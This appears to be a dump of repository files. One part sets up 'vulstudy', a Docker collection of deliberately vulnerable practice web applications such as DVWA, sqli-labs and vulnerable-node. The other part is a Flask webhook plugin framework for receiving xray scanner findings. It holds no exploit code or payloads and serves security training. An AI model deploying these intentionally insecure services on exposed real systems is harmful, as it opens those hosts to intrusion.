1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/sqli-labs/docker-compose.yml", "content": "version: '2'\nservices:\n web:\n #build: .\n image: c0ny1/sqli-labs:0.1\n ports:\n - \"80:80\"\n" }, { "path": "tests/vulstudy/vulnerable-node/Dockerfile", "content": "FROM ubuntu:xenial\n\nMAINTAINER c0ny1 \n\nENV STAGE \"DOCKER\"\n\nRUN apt-get update && apt-get -y upgrade && \\\n apt-get install -y nodejs && \\\n apt-get install -y npm && \\\n apt-get install -y netcat && \\\n apt-get install -y git && \\\n apt-get clean && \\\n ln -s /usr/bin/nodejs /usr/bin/node && \\\n cd /tmp/ && \\\n git clone https://github.com/cr0hn/vulnerable-node.git && \\\n cd ./vulnerable-node && \\\n git checkout 8937dfbc012b4a76b99fb41ce14e29e95862fafb && \\\n mkdir /app && \\\n mv package.json /app/ && \\\n cd /app && \\\n npm install && \\\n mv /tmp/vulnerable-node/* ./ && \\\n chmod +x /app/start.sh && \\\n rm -rf /var/lib/apt/lists/* && \\\n rm -rf /tmp/vulnerable-node\n\nWORKDIR /app\n\nEXPOSE 3000\nCMD [ \"/app/start.sh\" ]\n" }, { "path": "tests/vulstudy/vulnerable-node/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/vulnerable-node/docker-compose.yml", "content": "version: '2'\nservices:\n vulnerable_node:\n restart: always\n #build: .\n image: c0ny1/vulnerable-node:latest\n ports:\n - \"3000:3000\"\n# links:\n# - postgres_db:postgres_db\n depends_on:\n - postgres_db\n\n postgres_db:\n restart: always\n build: ./postgresql\n ports:\n - \"5432:5432\"\n" }, { "path": "tests/vulstudy/vulnerable-node/postgresql/Dockerfile", "content": "FROM library/postgres\n\nMAINTAINER \"Daniel Garcia aka (cr0hn)\" \n\nADD init.sql /docker-entrypoint-initdb.d/" }, { "path": "tests/vulstudy/vulnerable-node/postgresql/init.sql", "content": "CREATE DATABASE vulnerablenode;\nGRANT ALL PRIVILEGES ON DATABASE vulnerablenode TO postgres;" }, { "path": "tests/vulstudy/www/Dockerfile", "content": "FROM tutum/lamp:latest\n\nMAINTAINER c0ny1 \n\nRUN rm -rf /app/*\nADD . /app/\n\nCMD [\"/run.sh\"]" }, { "path": "tests/vulstudy/www/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/www/index.css", "content": "html, body {\n width : 100%;\n height : 100%;\n margin : 0;\n}\n\nth{\n\ttext-align: center;border-bottom:1px solid #f6f6f6;\n}\ntd{\n\ttext-align: center;border-bottom:1px solid #f6f6f6;\n}\n.table-hover > tbody > tr:hover > td,\n.table-hover > tbody > tr:hover > th {\n background-color: #ce7b0b;\n}\n\n.center {\n display : block;\n margin-left : auto;\n margin-right : auto;\n}\n\n#Wrapper {\n margin-top: 60px;\n font-family : \"Roboto\", sans-serif;\n text-align : center;\n}\n\n#Box {\n max-width : 800px;\n max-height : 600px;\n background-color : rgba(255, 255, 255, .7);\n margin-left : auto;\n margin-right : auto;\n padding : 10px; \n left : 0;\n right : 0;\n border-radius : 10px;\n -webkit-box-shadow : 0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);\n -moz-box-shadow : 0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);\n box-shadow : 0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);\n}\n\n#Box h1 {\n font-weight : 300;\n font-size : 40px;\n}\n\n#Box h1 span { font-weight : 400; }\n\n#Box h2 {\n font-weight : 300;\n font-size : 30px;\n}\n\n#Box .code-preview {\n width : 330px;\n font-size : 15px;\n}\n\n#Box .effects {\n width : 180px;\n height : 50px;\n font-size : 25px;\n outline : none;\n margin : 30px auto;\n opacity : .7;\n border-radius : 5px;\n}\n" }, { "path": "tests/vulstudy/www/index.html", "content": "\n\n \n\n \n\n \n\n \n \n \n\nvulstudy \n \n\n \n\n \n\n\n\n
\n\n
\n\n\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\t\t\n \n \n \n \n \n \n\t\t\n \n \n \n \n \n \n \n
序号漏洞平台包含漏洞作者语言
1DVWA综合未知php
2bWAPP综合未知php
3sqli-labsSQL注入Audiphp
4mutillidae综合OWASPphp
5BodgeIt综合psiinonjava
6WackoPicko综合adamdoupephp
7WebGoat综合OWASPjava
8Hackademic综合northdpolephp
9XSSedXSSAJ00200php
10DSVW综合Miroslav Stamparpython
11vulnerable-node综合cr0hnNodeJS
12MCIR综合Spider Labsphp
\n\n
\n\n
\n
\n \t
\n \t\tCopyright @ 2018 by c0ny1\n \t
\n
\n\n\n \n\n\n" }, { "path": "webhook/README.md", "content": "# webhook\n\nxray 邀你一起玩转 webhook\n\nhttps://mp.weixin.qq.com/s/JGN_zfFr-VKXFd4Xt_rZ6A\n\n## 开发说明\n\n - 需要 Python `3.7` 及以上版本\n - `plugins/demo.py` 给了一个样例，可以先仿照那个去写，数据类型见类型标注" }, { "path": "webhook/app.py", "content": "import logging\n\nfrom flask import Flask, request, redirect\n\nfrom config import parse_config, get_config\nfrom executor.registry import init_plugin\nfrom views.views import process_web_vuln, process_statistics, process_host_vuln\n\napp = Flask(__name__)\n\nlogging.basicConfig(format=\"[%(levelname)s] %(asctime)s %(name)s %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\", level=logging.DEBUG)\n\n\n# 比如可以给一个界面管理当前的插件，看到插件的数据等？\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n return redirect(\"https://docs.xray.cool/#/webhook/webhook\")\n\n@app.route(\"/webhook\", methods=[\"POST\"])\ndef webhook():\n token = get_config().server_config.token\n if token != \"\":\n if token != request.args.get(\"token\", \"\"):\n return \"invalid token\", 401\n # 可以使用 instance query 来区分不同的节点的数据\n instance = request.args.get(\"instance\", \"default\")\n json_data = request.json\n data_type = json_data.get(\"type\")\n data = json_data.get(\"data\")\n if data_type == \"web_vuln\":\n process_web_vuln(instance, data)\n elif data_type == \"web_statistic\":\n process_statistics(instance, data)\n elif data_type == \"host_vuln\":\n process_host_vuln(instance, data)\n return \"ok\"\n\n\nif __name__ == \"__main__\":\n config = parse_config(\"./config.yml\")\n init_plugin(config)\n app.run(debug=config.server_config.debug, host=config.server_config.host, port=config.server_config.port)\n" }, { "path": "webhook/config.py", "content": "import yaml\n\nfrom model.config import Config, ServerConfig, PluginConfig\n\n_config: Config = None\n\n\ndef parse_config(path: str):\n with open(path, \"r\") as f:\n config = yaml.safe_load(f)\n\n base_url = config[\"server\"].get(\"base_url\", \"\")\n if base_url == \"\":\n base_url = f\"http://{config['server']['host']}:{config['server']['port']}\"\n server_config = ServerConfig(host=config[\"server\"][\"host\"], port=config[\"server\"][\"port\"],\n debug=config[\"server\"][\"debug\"],\n token=config[\"server\"].get(\"token\", \"\"),\n base_url=base_url)\n plugins_config = {}\n for k, v in config[\"plugins\"].items():\n plugins_config[k] = PluginConfig(enabled=v[\"enabled\"], args=v.get(\"args\", {}))\n\n global _config\n _config = Config(version=config[\"version\"], server_config=server_config,\n plugin_config=plugins_config)\n return get_config()\n\n\ndef get_config() -> Config:\n return _config\n" }, { "path": "webhook/config.yml", "content": "version: 1\nserver:\n host: 127.0.0.1\n port: 5000\n debug: false\n token: \"\"\n # 因为反向代理、端口映射等情况，实际访问本 server 的地址和监听地址可能并不一样，这里可以单独配置\n base_url: \"\"\n\nplugins:\n # key 为 plugins 中写了插件配置的 Python 文件名\n # 默认使用 Plugin 类，如果不一致，可以使用 demo.MyPlugin 的写法\n demo:\n enabled: true\n # 插件初始化需要的参数，不需要参数可以不写\n args:\n arg1: foo\n arg2: bar\n" }, { "path": "webhook/executor/__init__.py", "content": "" }, { "path": "webhook/executor/executor.py", "content": "import logging\nfrom concurrent.futures import ThreadPoolExecutor\n\nfrom executor.registry import _plugin_registry\nfrom model.vuln import WebVuln, ServiceVuln, Statistics\n\nlogger = logging.getLogger(\"executor\")\n\npool = ThreadPoolExecutor()\n\n\ndef pool_task_wrapper(method, *args):\n try:\n method(*args)\n except Exception as e:\n logger.exception(e)\n\n\ndef dispatch_web_vuln(instance: str, vuln: WebVuln):\n for p in _plugin_registry:\n pool.submit(pool_task_wrapper, p.process_web_vuln, instance, vuln)\n logger.info(\"submit web vuln call plugin %s\" % p.meta.key)\n\n\ndef dispatch_service_vuln(instance: str, vuln: ServiceVuln):\n for p in _plugin_registry:\n pool.submit(pool_task_wrapper, p.process_service_vuln, instance, vuln)\n logger.info(\"submit service vuln call plugin %s\" % p.meta.key)\n\n\ndef dispatch_statistics(instance: str, s: Statistics):\n for p in _plugin_registry:\n pool.submit(pool_task_wrapper, p.process_statistics, instance, s)\n logger.info(\"submit statistics plugin %s\" % p.meta.key)\n" }, { "path": "webhook/executor/registry.py", "content": "from typing import List\n\nfrom model.config import Config\nfrom plugins.base import BasePlugin\n\n_plugin_registry: List[BasePlugin] = []\n\n\ndef import_class(cl):\n d = cl.rfind(\".\")\n class_name = cl[d + 1:len(cl)]\n m = __import__(cl[0:d], globals(), locals(), [class_name])\n return getattr(m, class_name)\n\n\ndef init_plugin(config: Config):\n for cls, conf in config.plugin_config.items():\n if not conf.enabled:\n continue\n if \".\" not in cls:\n cls = cls + \".Plugin\"\n p = import_class(\"plugins.\" + cls)\n _plugin_registry.append(p(**conf.args))\n" }, { "path": "webhook/model/__init__.py", "content": "" }, { "path": "webhook/model/config.py", "content": "from dataclasses import dataclass\nfrom typing import Any, Dict\n\n\n@dataclass\nclass ServerConfig:\n host: str\n port: int\n debug: bool\n token: str\n base_url: str\n\n\n@dataclass\nclass PluginConfig:\n enabled: bool\n args: Dict[str, Any]\n\n\n@dataclass\nclass Config:\n version: int\n server_config: ServerConfig\n plugin_config: Dict[str, PluginConfig]\n" }, { "path": "webhook/model/plugin.py", "content": "from dataclasses import dataclass\n\n\n@dataclass\nclass PluginMeta:\n key: str\n description: str\n author: str\n" }, { "path": "webhook/model/vuln.py", "content": "from dataclasses import dataclass\nfrom datetime import datetime\nfrom enum import Enum\nfrom typing import List, Any, Dict, Optional\n\n\n@dataclass\nclass Statistics:\n \"\"\"统计数据\"\"\"\n raw_json: dict\n # 发现的 url 数量\n num_found_urls: int\n # 扫描完成的 url 数量\n # num_found_urls - num_scanned_urls 就是还没有扫描的请求数量\n num_scanned_urls: int\n # 扫描发送的 http 请求数量\n num_sent_http_requests: int\n # 最近 30s 内平均响应时间\n average_response_time: float\n # 最近 30s 请求失败率\n ratio_failed_http_requests: float\n # 暂时无用字段\n ratio_progress: float\n\n\nclass WebParamPosition(Enum):\n \"\"\"参数位置\"\"\"\n query = \"query\"\n body = \"body\"\n cookie = \"cookie\"\n header = \"header\"\n\n\n@dataclass\nclass WebParam:\n # 参数名\n key: str\n # 参数值\n value: str\n # 参数位置\n position: WebParamPosition\n\n\n@dataclass\nclass WebRequest:\n # http 原始请求\n raw: str\n\n\n@dataclass\nclass WebResponse:\n # http 原始响应\n raw: str\n\n\n@dataclass\nclass WebVuln:\n \"\"\"web 漏洞\"\"\"\n raw_json: dict\n # 创建时间\n create_time: datetime\n # 这两个数据内部使用其实是 enum，要不要提供给社区？\n # 插件名\n plugin: str\n\n url: str\n # 存在漏洞的参数，可能为 None\n param: Optional[WebParam]\n # 证明漏洞存在的请求序列\n request: List[WebRequest]\n # 证明漏洞存在的响应序列\n response: List[WebResponse]\n # 插件开发者可以添加各种额外数据，比如作者名、证明漏洞存在的其他数据等\n # 在 xray 内部，可能是 map[string]string、map[string][]string 和 map[string]map[string]string\n extra: Dict[str, Any]\n\n\n@dataclass\nclass ServiceVuln:\n \"\"\"服务漏洞\"\"\"\n raw_json: dict\n # 同 web 漏洞\n create_time: datetime\n plugin: str\n\n # 主机名\n host: str\n # 端口\n port: int\n # 同 web 漏洞\n extra: Dict[str, Any]\n" }, { "path": "webhook/plugins/__init__.py", "content": "" }, { "path": "webhook/plugins/base.py", "content": "import logging\n\nfrom cached_property import cached_property\n\nfrom model.plugin import PluginMeta\nfrom model.vuln import Statistics, WebVuln, ServiceVuln\n\n\nclass BasePlugin:\n @cached_property\n def meta(self) -> PluginMeta:\n raise NotImplementedError(\"you should implement this method in your subclass\")\n\n @cached_property\n def logger(self):\n return logging.getLogger(\"plugin:\" + self.meta.key)\n\n def process_web_vuln(self, instance: str, vuln: WebVuln):\n pass\n\n def process_service_vuln(self, instance: str, vuln: ServiceVuln):\n pass\n\n def process_statistics(self, instance: str, statistics: Statistics):\n pass\n" }, { "path": "webhook/plugins/demo.py", "content": "import time\n\nfrom cached_property import cached_property\n\nfrom model.plugin import PluginMeta\nfrom model.vuln import Statistics, WebVuln, ServiceVuln\nfrom plugins.base import BasePlugin\n\n\nclass Plugin(BasePlugin):\n def __init__(self, arg1, arg2):\n self.arg1 = arg1\n self.arg2 = arg2\n\n @cached_property\n def meta(self):\n return PluginMeta(key=\"DemoPlugin\", description=\"hello world\", author=\"chaitin\")\n\n def process_statistics(self, instance: str, statistics: Statistics):\n self.logger.info(statistics)\n\n def process_service_vuln(self, instance: str, vuln: ServiceVuln):\n self.logger.info(vuln)\n\n def process_web_vuln(self, instance: str, vuln: WebVuln):\n time.sleep(2)\n self.logger.info(\"new vuln instance: %s, plugin: %s, url: %s\" % (instance, vuln.plugin, vuln.url))\n" }, { "path": "webhook/requirements.txt", "content": "Flask==2.1.0\nrequests==2.22.0\npyyaml==5.1.2\ncached-property==1.5.1\n" }, { "path": "webhook/views/__init__.py", "content": "" }, { "path": "webhook/views/views.py", "content": "import datetime\nfrom datetime import datetime\n\nfrom executor.executor import dispatch_web_vuln, dispatch_service_vuln, dispatch_statistics\nfrom model.vuln import Statistics, WebVuln, WebParam, WebParamPosition, WebRequest, WebResponse, ServiceVuln\n\n\ndef process_web_vuln(instance, data):\n \"\"\"将 web 漏洞 json 转换为相关 model\"\"\"\n detail = data[\"detail\"]\n p = detail['extra'][\"param\"]\n if p:\n param = WebParam(key=p[\"key\"], value=p[\"value\"], position=WebParamPosition(p[\"position\"]))\n else:\n param = None\n\n request = []\n response = []\n extra = {}\n\n for i, pair in enumerate(detail['snapshot']):\n req = pair[0]\n resp = pair[1]\n\n if req == \"\" or resp == \"\":\n continue\n if req is None or resp is None:\n break\n request.append(WebRequest(raw=req))\n response.append(WebResponse(raw=resp))\n\n # 其他的数据可能是自定义的，就单独拿出来\n not_extra_key = [\"param\"]\n for k, v in detail[\"extra\"].items():\n for item in not_extra_key:\n if item in k:\n break\n else:\n extra[k] = v\n\n vuln = WebVuln(create_time=datetime.fromtimestamp(data[\"create_time\"] / 1000), plugin=data[\"plugin\"],\n url=data[\"target\"][\"url\"], param=param, request=request, response=response, extra=extra,\n raw_json=data)\n dispatch_web_vuln(instance, vuln)\n\n\ndef process_statistics(instance, data):\n \"\"\"将统计数据 json 转换为相关 json\"\"\"\n s = Statistics(num_found_urls=data[\"num_found_urls\"],\n num_scanned_urls=data[\"num_scanned_urls\"],\n num_sent_http_requests=data[\"num_sent_http_requests\"],\n average_response_time=data[\"average_response_time\"],\n ratio_failed_http_requests=data[\"ratio_failed_http_requests\"],\n ratio_progress=data[\"ratio_progress\"],\n raw_json=data)\n dispatch_statistics(instance, s)\n\n\ndef process_host_vuln(instance, data):\n \"\"\"将服务漏洞 json 转换为相关 json\"\"\"\n detail = data[\"detail\"]\n extra = {}\n\n not_extra_key = []\n for k, v in detail['extra'].items():\n for item in not_extra_key:\n if item in k:\n break\n else:\n extra[k] = v\n\n vuln = ServiceVuln(create_time=datetime.fromtimestamp(data[\"create_time\"] / 1000), plugin=data[\"plugin\"],\n host=detail[\"host\"], port=detail[\"port\"],\n extra=extra, raw_json=data)\n dispatch_service_vuln(instance, vuln)\n" } ]